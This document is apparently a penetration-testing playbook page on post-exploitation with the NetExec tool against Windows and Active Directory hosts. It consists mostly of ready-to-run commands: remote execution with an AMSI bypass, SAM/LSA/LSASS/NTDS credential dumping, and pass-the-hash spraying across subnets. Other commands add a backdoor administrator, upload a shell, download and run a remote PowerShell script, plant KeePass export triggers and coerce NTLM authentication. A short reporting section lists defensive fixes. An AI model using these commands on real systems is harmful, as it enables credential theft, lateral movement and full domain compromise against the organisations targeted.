🛡️ Methodology Checklist

  • Remote code execution — CMD: nxc smb [TARGET] -u [USER] -p [PASS] -x "whoami"
  • Remote code execution — PowerShell: nxc smb [TARGET] -u [USER] -p [PASS] -X "Get-Process"
  • SAM dump: nxc smb [TARGET] -u [USER] -p [PASS] --sam
  • LSA dump: nxc smb [TARGET] -u [USER] -p [PASS] --lsa
  • LSASS dump: nxc smb [TARGET] -u [USER] -p [PASS] -M lsassy
  • NTDS dump (DC only): nxc smb [DC_IP] -u [USER] -p [PASS] --ntds
  • PtH across subnet: nxc smb [SUBNET]/24 -u [USER] -H [HASH] --local-auth
  • Spider shares: nxc smb [TARGET] -u [USER] -p [PASS] -M spider_plus

🎯 Operational Context

Use when: Valid credentials or hash obtained — use nxc to extract secrets, dump SAM/LSA/NTDS, and run commands across multiple hosts. Think Dumber First: nxc smb [TARGETS] -u [USER] -p [PASS] --sam dumps SAM across all targets with one command. --lsa for LSA secrets (service account creds). --ntds on DCs for full domain hash dump. Skip when: Only one target and direct access available — Mimikatz or impacket-secretsdump directly may be faster.

⚡ Tactical Cheatsheet

CommandTactical Outcome
nxc smb [TARGET_IP] -u [USER] -p [PASS] -x "[CMD]"Execute CMD command on target (requires admin)
nxc smb [TARGET_IP] -u [USER] -p [PASS] -X "[PS_CMD]"Execute PowerShell with auto AMSI bypass
nxc smb [TARGET_IP] -u [USER] -p [PASS] --samDump local SAM hashes
nxc smb [DC_IP] -u [USER] -p [PASS] --ntdsDump entire NTDS.dit (all domain hashes) from DC
nxc smb [TARGET_IP] -u [USER] -p [PASS] --lsaDump LSA secrets + cached domain credentials (DCC2)
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M lsassyDump LSASS via lsassy module
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M procdumpDump LSASS via Sysinternals ProcDump
nxc [PROTOCOL] [TARGET_IP] -u [USER] -H [NTLM_HASH]Pass-the-Hash authentication
nxc smb [TARGET_IP] -u [USER] -p [PASS] --share [SHARE] --put-file [LOCAL] [REMOTE]Upload file to SMB share
nxc smb [TARGET_IP] -u [USER] -p [PASS] --share [SHARE] --get-file [REMOTE] [LOCAL]Download file from SMB share
nxc smb [TARGET_IP] -u [USER] -p [PASS] --spider [SHARE] --pattern [STRING]Spider share for filename patterns
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M spider_plus -o EXCLUDE_DIR=IPC$,print$Full recursive share spider with JSON index
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M rdp -o ACTION=enableEnable RDP on target
nxc mssql [TARGET_IP] -u [USER] -p [PASS] -M mssql_privFind MSSQL privilege escalation paths
nxc mssql [TARGET_IP] -u [USER] -p [PASS] -M mssql_priv -o ACTION=privescEscalate MSSQL privileges

🔬 Deep Dive & Workflow

Remote Execution (Requires admin — “(Pwn3d!)“)

# CMD execution
nxc smb [TARGET_IP] -u [USER] -p [PASS] -x "whoami /priv"
nxc smb [TARGET_IP] -u [USER] -p [PASS] -x "net user [NEW_USER] [PASS] /add && net localgroup administrators [NEW_USER] /add"
 
# PowerShell execution (AMSI auto-bypassed)
nxc smb [TARGET_IP] -u [USER] -p [PASS] -X "Get-MpComputerStatus"
nxc smb [TARGET_IP] -u [USER] -p [PASS] -X "IEX(IWR http://[LHOST]/shell.ps1 -UseBasicParsing)"
 
# If -X fails (payload too long): use hosted stager
nxc smb [TARGET_IP] -u [USER] -p [PASS] --amsi-bypass amsi_bypass.txt -X "[PAYLOAD]"

Secret Dumping Hierarchy

# 1. SAM (local hashes — all machines)
nxc smb [TARGET_IP] -u [USER] -p [PASS] --sam
# → MACHINE\Administrator:[NTLM] → PtH to this machine
# → Local admin reuse: try hash on other machines
 
# 2. LSA (service account creds, cached domain creds)
nxc smb [TARGET_IP] -u [USER] -p [PASS] --lsa
# → Cleartext creds for service accounts
# → DCC2 hashes (slower to crack, mode 2100)
 
# 3. LSASS (logged-on user credentials)
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M lsassy
# → If AV blocks lsassy, try: -M procdump or -M nanodump
 
# 4. NTDS.dit (ALL domain account hashes — DC only)
nxc smb [DC_IP] -u [USER] -p [PASS] --ntds
# → Dumps via VSS → requires DC admin
# → Complete domain hash dump for PtH / offline cracking

Pass-the-Hash with NetExec

# PtH to verify lateral movement
nxc smb [TARGET_IP] -u Administrator -H [NTLM_HASH] --local-auth
# → (Pwn3d!) = local admin confirmed
 
# PtH for domain account
nxc smb [TARGET_IP] -u [DOMAIN_USER] -H [NTLM_HASH]
 
# Spray hash across subnet
nxc smb [SUBNET]/23 -u Administrator -H [NTLM_HASH] --local-auth
# → Finds all machines where this local admin hash is reused
 
# WinRM access
nxc winrm [TARGET_IP] -u [USER] -H [NTLM_HASH]
# → (Pwn3d!) = can enter-pssession

SMB File Operations

# Upload payload
nxc smb [TARGET_IP] -u [USER] -p [PASS] --share C$ --put-file /tmp/shell.exe \\Windows\\Temp\\shell.exe
 
# Download loot
nxc smb [TARGET_IP] -u [USER] -p [PASS] --share C$ --get-file \\Users\\Administrator\\Desktop\\creds.txt /tmp/creds.txt
 
# Spider share for files matching pattern
nxc smb [TARGET_IP] -u [USER] -p [PASS] --spider C$ --pattern ".kdbx"
 
# Deep spider with content search
nxc smb [TARGET_IP] -u [USER] -p [PASS] --spider SYSVOL --content --regex "password"
 
# Full recursive spider (generates JSON index of all accessible files)
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M spider_plus -o EXCLUDE_DIR=IPC$,print$
# → Output in ~/.nxc/workspaces/default/spider_plus/

MSSQL Post-Exploitation

NetExec speaks MSSQL natively — pick the auth mode (-d [DOMAIN] AD, -d . local Windows, --local-auth SQL login), query/loot data with -q, transfer files, and escalate with -M mssql_priv -o ACTION=privesc. Full enumeration → query → privesc workflow: NetExec_MSSQL.

KeePass Credential Extraction

A reachable KeePass .kdbx vault (find it with the --spider C$ --pattern ".kdbx" above) can be dumped in cleartext by abusing a malicious KeePass trigger. Full playbook (offline crack + this live trigger): Attacking_KeePass.

# 1. Find KeePass databases + the KeePass config XML on the host
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M keepass_discover
 
# 2. Inject a trigger that exports the DB in cleartext the next time the victim unlocks it
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M keepass_trigger \
  -o ACTION=ALL KEEPASS_CONFIG_PATH="[PATH_TO_KEEPASS_CONFIG_XML]"
 
# 3. Wait for the victim to open KeePass, retrieve the exported cleartext (path reported
#    by the module) with --get-file, then remove the planted trigger

NTLM Coercion for Hash Capture

# Drop LNK file on writable share → triggers NTLM auth to attacker
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M slinky -o SERVER=[LHOST] NAME=test
 
# Drop Search Connector on share
nxc smb [TARGET_IP] -u [USER] -p [PASS] -M drop-sc -o URL=\\\\[LHOST]\\share SHARE=Public
 
# Coerce a DC/host into authenticating to the attacker (then relay or capture the NetNTLM)
nxc smb [DC_IP] -u [USER] -p [PASS] -M petitpotam      # MS-EFSR
nxc smb [DC_IP] -u [USER] -p [PASS] -M dfscoerce       # MS-DFSNM
nxc smb [DC_IP] -u [USER] -p [PASS] -M shadowcoerce    # MS-FSRVP
 
# Capture with Responder running on attacker
sudo responder -I [IFACE] -wv

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
nxc —sam returns access deniedNot admin on targetVerify: nxc smb [TARGET] -u [USER] -p [PASS] shows Pwn3d! first
nxc —ntds hangsDC overloaded or timeoutAdd --ntds drsuapi for faster method; or --ntds vss for VSS-based dump
-x command failsWMI not enabledTry -X for PowerShell execution; or use --exec-method smbexec
nxc —lsa returns only DPAPI secretsNo service account credsLSA secrets only contain local data; service account creds in NTDS on DC
Command output truncatedLong outputPipe to file on target: -x 'cmd /c systeminfo > C:\Temp\out.txt' then retrieve file

📝 Reporting Trigger

Finding Title: NetExec Mass Credential Extraction Across Multiple Hosts Impact: Single-command credential extraction via nxc across multiple hosts provides complete credential inventory for the environment, enabling password reuse identification and lateral movement path mapping. Root Cause: Local administrator account shared across multiple hosts (no LAPS). Admin access on one host enables credential extraction from all hosts with shared password. Recommendation: Deploy LAPS immediately. Alert on bulk remote SAM/LSA dump attempts. Implement Credential Guard on all Windows 10+ endpoints. Restrict admin access to designated management accounts.

🔗 Related Nodes